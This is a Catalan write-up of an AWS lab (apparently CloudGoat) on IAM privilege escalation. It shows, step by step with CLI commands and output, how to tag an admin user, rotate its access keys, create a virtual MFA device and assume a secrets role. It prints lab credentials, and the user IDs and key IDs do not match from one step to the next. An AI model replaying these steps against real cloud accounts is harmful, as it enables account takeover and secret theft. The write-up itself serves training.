1. **Verificació de les credencials**

En aquest escenari se'ns planteja una escalada de privilegis IAM. A l'iniciar el laboratori obtenim les credencials de **Kerrigan**, les quals configurem amb la següent comanda:

```
aws configure --profile kerrigan
AWS Access Key ID [None]: AKIAZQ3DUOW4AMVDWFEX
Secret Access Key [None]: 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
Default region name [None]:
Default output format [None]:
```

Confirmem que l'usuari ha estat ben configurat.

```
aws sts get-caller-identity --profile kerrigan
{
	"UserId": "AIDAZQ3DUOW4GYA5JDJL6",
	"Account": "654654600632",
	"Arn":
"arn:aws:iam::654654600632:user/manager_iam_privesc_by_key_rotation_cgidc5vn3s78
jb"
}
```

2. **Llistar polítiques de l'usuari**

Posteriorment, procedim a llistar els privilegis lligats a l'usuari.

```
aws iam list-attached-user-policies --user-name
manager_iam_privesc_by_key_rotation_cgidc5vn3s78jb --profile kerrigan
{
	"AttachedPolicies": [
	{
		"PolicyName": "IAMReadOnlyAccess",
		"PolicyArn": "arn:aws:iam::aws:policy/IAMReadOnlyAccess"
	}
	]
}
```

En aquest cas podem observar que l'usuari té lligats uns permisos de només lectura, encara així farem un *get* de la política per a revisar-la.

3. **Revisió de les polítiques de l'usuari**

```
aws iam get-policy-version --policy-arn
arn:aws:iam::aws:policy/IAMReadOnlyAccess --version-id v4 --profile kerrigan
{
	"PolicyVersion": {
	"Document": {
		"Version": "2012-10-17",
		"Statement": [
		{
			"Effect": "Allow",
			"Action": [
				"iam:GenerateCredentialReport",
				"iam:GenerateServiceLastAccessedDetails",
				"iam:Get*",
				"iam:List*",
				"iam:SimulateCustomPolicy",
				"iam:SimulatePrincipalPolicy"
			],
			"Resource": "*"
		}
		]
	},
	"VersionId": "v4",
	"IsDefaultVersion": true,
	"CreateDate": "2018-01-25T19:11:27+00:00"
	}
}
```

Al fer el *get* de la versió actual per defecte obtenim les accions que la política ens deixa executar.

En aquest cas no aplicaria fer un rollback de versions per dues raons. La primera és que aquesta versió és la que més accions ens permet executar i, a part, no se'ns tenim permissos per a executar l'acció **SetDefaultPolicyVersion**, així que per molt que ens interesses intentar fer un rollback de versions no hi podriem.

De totes maneres encara hi poden haver més privilegis atorgats a l'usuari de manera específica, així que per a revisar-ho executem la següent comanda:

```
aws iam list-user-policies --user-name
manager_iam_privesc_by_key_rotation_cgidc5vn3s78jb --profile kerrigan
{
	"PolicyNames": [
	"SelfManageAccess",
	"TagResources"
	]
}
```

Com podem veure, hi ha dos polítiques associades **SelfManageAccess** i **TagResources**. Per consegüent, revisem les dues independentment.

```
aws iam get-user-policy --user-name
manager_iam_privesc_by_key_rotation_cgidc5vn3s78jb --policy-name
SelfManageAccess --profile kerrigan
{
	"UserName": "manager_iam_privesc_by_key_rotation_cgidc5vn3s78jb",
	"PolicyName": "SelfManageAccess",
	"PolicyDocument": {
	"Version": "2012-10-17",
	"Statement": [
		{
		"Action": [
			"iam:DeactivateMFADevice",
			"iam:GetMFADevice",
			"iam:EnableMFADevice",
			"iam:ResyncMFADevice",
			"iam:DeleteAccessKey",
			"iam:UpdateAccessKey",
			"iam:CreateAccessKey"
		],
		"Condition": {
			"StringEquals": {
				"aws:ResourceTag/developer": "true"
			}
		},
		"Effect": "Allow",
		"Resource": [
			"arn:aws:iam::654654600632:user/*",
			"arn:aws:iam::654654600632:mfa/*"
		],
		"Sid": "SelfManageAccess"
		},
		{
		"Action": [
			"iam:DeleteVirtualMFADevice",
			"iam:CreateVirtualMFADevice"
		],
		"Effect": "Allow",
		"Resource": "arn:aws:iam::654654600632:mfa/*",
		"Sid": "CreateMFA"
		}
	]
	}
}
```

A la política **SelfManageAccess** hi tenim dos statements que ens deixen efectuar les següents accions:

- iam:DeactivateMFADevice
- iam:GetMFADevice
- iam:EnableMFADevice
- iam:ResyncMFADevice
- iam:DeleteAccessKey
- iam:UpdateAccessKey
- iam:CreateAccessKey

Amb aquest statement podem interactuar amb MFAs i interactuar amb claus d'accés, sempre i quan es compleixi la condició de que el Tag developer sigui True.

Per al segon statement podem executar les següents accions:

- iam:DeleteVirtualMFADevice
- iam:CreateVirtualMFADevice

Que ens proporcionen la creació i destrucció d'entorns virtuals per a MFA.

4. **Utilització de tags**

Per a revisar la política de **TagResources** hem d'executar la següent comanda:

```
aws iam get-user-policy --user-name
manager_iam_privesc_by_key_rotation_cgidc5vn3s78jb --policy-name TagResources
--profile kerrigan
{
	"UserName": "manager_iam_privesc_by_key_rotation_cgidc5vn3s78jb",
	"PolicyName": "TagResources",
	"PolicyDocument": {
	"Version": "2012-10-17",
	"Statement": [
		{
		"Action": [
			"iam:UntagUser",
			"iam:UntagRole",
			"iam:TagRole",
			"iam:UntagMFADevice",
			"iam:UntagPolicy",
			"iam:TagMFADevice",
			"iam:TagPolicy",
			"iam:TagUser"
		],
		"Effect": "Allow",
		"Resource": "*",
		"Sid": "TagResources"
		}
	]
	}
}
```

En aquesta política se'ns possibilita l'interacció amb els Tags, cosa que ens permetria modificar els Tags de developer a true per complir la condició estipulada al primer statement de l'anterior política.

Per a prosseguir, llistem els usuaris IAM disponibles.

```
aws iam list-users --profile kerrigan
{
	"Users": [
	{
		"Path": "/",
		"UserName": "admin_iam_privesc_by_key_rotation_cgidc5vn3s78jb",
		"UserId": "AIDAZQ3DUOW4CO7SBGD6R",
		"Arn":
"arn:aws:iam::654654600632:user/admin_iam_privesc_by_key_rotation_cgidc5vn3s78jb
",
		"CreateDate": "2024-02-19T16:48:53+00:00"
	},
	{
		"Path": "/",
		"UserName": "developer_iam_privesc_by_key_rotation_cgidc5vn3s78jb",
		"UserId": "AIDAZQ3DUOW4HZU2TSW7D",
		"Arn":
"arn:aws:iam::654654600632:user/developer_iam_privesc_by_key_rotation_cgidc5vn3s
78jb",
		"CreateDate": "2024-02-19T16:48:53+00:00"
	},
	{
		"Path": "/",
		"UserName": "manager_iam_privesc_by_key_rotation_cgidc5vn3s78jb",
		"UserId": "AIDAZQ3DUOW4KHB4E3YI6",
		"Arn":
"arn:aws:iam::654654600632:user/manager_iam_privesc_by_key_rotation_cgidc5vn3s78
jb",
		"CreateDate": "2024-02-19T16:48:53+00:00"
	}
	]
}
```

A l'output observem que hi ha un usuari "admin" i un usuari "developer", a part del nostre propi usuari. Per norma general l'usuari admin sol tenir la capacitat d'assumir tots els accessos o, al menys la majoria, així que intentarem fer l'escalada de privilegis per a l'usuari admin.

5. **Assignació de tags**

Així doncs li afegim el tag de developer amb el valor true a l'usuari admin.

```
aws iam tag-user --user-name admin_iam_privesc_by_key_rotation_cgidpejuzw9ymp
--tags Key=developer,Value=true --profile kerrigan
```

Després d'haver assignat el tag "developer" a l'usuari haurem de canviar les claus d'accés per unes que nosaltres mateixos controlem. Primer, cal que llistem quines són les claus d'accés actuals.

```
aws iam list-access-keys --user-name
admin_iam_privesc_by_key_rotation_cgidpejuzw9ymp --profile kerrigan
{
	"AccessKeyMetadata": [
	{
		"UserName": "admin_iam_privesc_by_key_rotation_cgidpejuzw9ymp",
		"AccessKeyId": "AKIAZQ3DUOW4JPF7NZOM",
		"Status": "Inactive",
		"CreateDate": "2024-02-29T08:56:59+00:00"
	},
	{
		"UserName": "admin_iam_privesc_by_key_rotation_cgidpejuzw9ymp",
		"AccessKeyId": "AKIAZQ3DUOW4CLPN6FPQ",
		"Status": "Inactive",
		"CreateDate": "2024-02-29T08:56:59+00:00"
	}
	]
}
```

Les claus llistades a l'output s'han d'eliminar ja que nosaltres no hi tenim control sobre elles. Si recordem, l'usuari actual (kerrigan), té els permisos que ens calen tant per a eliminar les claus d'accés actuals com per a crear unes noves.

```
aws iam delete-access-key --user-name
admin_iam_privesc_by_key_rotation_cgidc5vuz2nz6v --access-key-id
AKIAZQ3DUOW4JPF7NZOM --profile kerrigan


aws iam delete-access-key --user-name
admin_iam_privesc_by_key_rotation_cgidc5vuz2nz6v --access-key-id
AKIAZQ3DUOW4NYTMX75W --profile kerrigan
```

Un cop esborrades les dues claus d'accés, creem les noves claus.

```
aws iam create-access-key --user-name
admin_iam_privesc_by_key_rotation_cgidc5vuz2nz6v --profile kerrigan
{
       "AccessKey": {
       "UserName": "admin_iam_privesc_by_key_rotation_cgidc5vuz2nz6v",
       "AccessKeyId": "AKIAZQ3DUOW4OFN7OLVX",
       "Status": "Active",
       "SecretAccessKey": "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",
       "CreateDate": "2024-02-29T11:25:15+00:00"
       }
}
```

Ara que ja hem obtingut les claus d'accés, podem assumir el rol per a llistar els secrets.

```
export AWS_ACCESS_KEY_ID=AKIAZQ3DUOW4OFN7OLVX
export AWS_SECRET_ACCESS_KEY=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
aws sts assume-role --role-arn
arn:aws:iam::654654600632:role/cg_secretsmanager_iam_privesc_by_key_rotation_cgi
dc5vuz2nz6v --role-session-name cloudgoat_secret --role-session-name
cloudgoat_secret

An error occurred (AccessDenied) when calling the AssumeRole operation: User:
arn:aws:iam::654654600632:user/admin_iam_privesc_by_key_rotation_cgidc5vuz2nz6v
is not authorized to perform: sts:AssumeRole on resource:
arn:aws:iam::654654600632:role/cg_secretsmanager_iam_privesc_by_key_rotation_cgi
dc5vuz2nz6v
```

Quan intentem assumir el rol veiem que no podem perquè se'ns denega l'accés. Aquest problema pot donar-se per múltiples factors, però donat el context del laboratori deduïm que es deu al fet que és necessari utilitzar un MFA per assumir el rol.

6. **Creació de MFA virtual**

Ja que, com hem vist anteriorment, l'usuari kerrigan pot interactuar amb codis QR l'utilitzem per crear un codi QR virtual.

```
aws iam create-virtual-mfa-device --virtual-mfa-device-name
cloudgoat_virtual_mfa --outfile QRCode.png --bootstrap-method QRCodePNG
--profile kerrigan
{
       "VirtualMFADevice": {
       "SerialNumber": "arn:aws:iam::654654600632:mfa/cloudgoat_virtual_mfa"
       }
}
```

Després d'executar la comanda se'ns descarregarà al mateix directori un codi QR que haurem d'escanejar.

Si escanegem el codi QR amb un dispositiu amb TOTP podrem veure quin es el codi del MFA virtual creat encara moment.

Per a assumir el rol serà necessari introduir dos codis MFA consecutius.

```
aws sts assume-role --role-arn
arn:aws:iam::654654600632:role/cg_secretsmanager_iam_privesc_by_key_rotation_cgi
dc5vuz2nz6v --role-session-name cloudgoat_secret --serial-number
arn:aws:iam::654654600632:mfa/cloudgoat_virtual_mfa --token-code 269455
{
       "Credentials": {
       "AccessKeyId": "ASIAZQ3DUOW4NPL57SHK",
       "SecretAccessKey": "DuHJDHbShF4FDE8IpQKv/7HHNvktQSMO6We+sFas",
       "SessionToken":
"FwoGZXIvYXdzEC0aDGKSJIP3Yr1AqcTNYCK0AY33aX2ifyVe37QMh2gp6ixzuy5ztpODJTpp4bDE5Dl
bHgyYpKv374/eY1SBRK3LBsG5qcH4fhPTbbkdzFJoi+snqGlqRyMfyo+S56W6OTDJUi6mXuL4WcBHF04
UhNPb0670sKgRAzHeZ7igEOLW4K0PQnBfEDXNF1mI22ez1l0kIcTvKK8eaZCa54PjHCpt0Ewy8Mkuuzk
dbK7lUOEFduQV1HVn19CWnGc+rY8YpyepMbOi8ij94IGvBjItH5VWzhSKeK3jQdt1GWPf4tjND2/A4Cl
6pyt/v248ppyaUtmmf9CZ/CSr8Vzr",
       "Expiration": "2024-02-29T12:54:37+00:00"
       },
       "AssumedRoleUser": {
       "AssumedRoleId": "AROAZQ3DUOW4H3255JX6H:cloudgoat_secret",
       "Arn":
"arn:aws:sts::654654600632:assumed-role/cg_secretsmanager_iam_privesc_by_key_rot
ation_cgidc5vuz2nz6v/cloudgoat_secret"
       }
}
```

Un cop assumit el rol se'ns donaran les claus i el token d'accés que exportarem a una nova terminal.

```
export AWS_ACCESS_KEY_ID=ASIAZQ3DUOW4NPL57SHK
```

```
export AWS_SECRET_ACCESS_KEY=DuHJDHbShF4FDE8IpQKv/7HHNvktQSMO6We+sFas

export
AWS_SESSION_TOKEN=FwoGZXIvYXdzEC0aDGKSJIP3Yr1AqcTNYCK0AY33aX2ifyVe37QMh2gp6ixzuy
5ztpODJTpp4bDE5DlbHgyYpKv374/eY1SBRK3LBsG5qcH4fhPTbbkdzFJoi+snqGlqRyMfyo+S56W6OT
DJUi6mXuL4WcBHF04UhNPb0670sKgRAzHeZ7igEOLW4K0PQnBfEDXNF1mI22ez1l0kIcTvKK8eaZCa54
PjHCpt0Ewy8MkuuzkdbK7lUOEFduQV1HVn19CWnGc+rY8YpyepMbOi8ij94IGvBjItH5VWzhSKeK3jQd
t1GWPf4tjND2/A4Cl6pyt/v248ppyaUtmmf9CZ/CSr8Vzr
```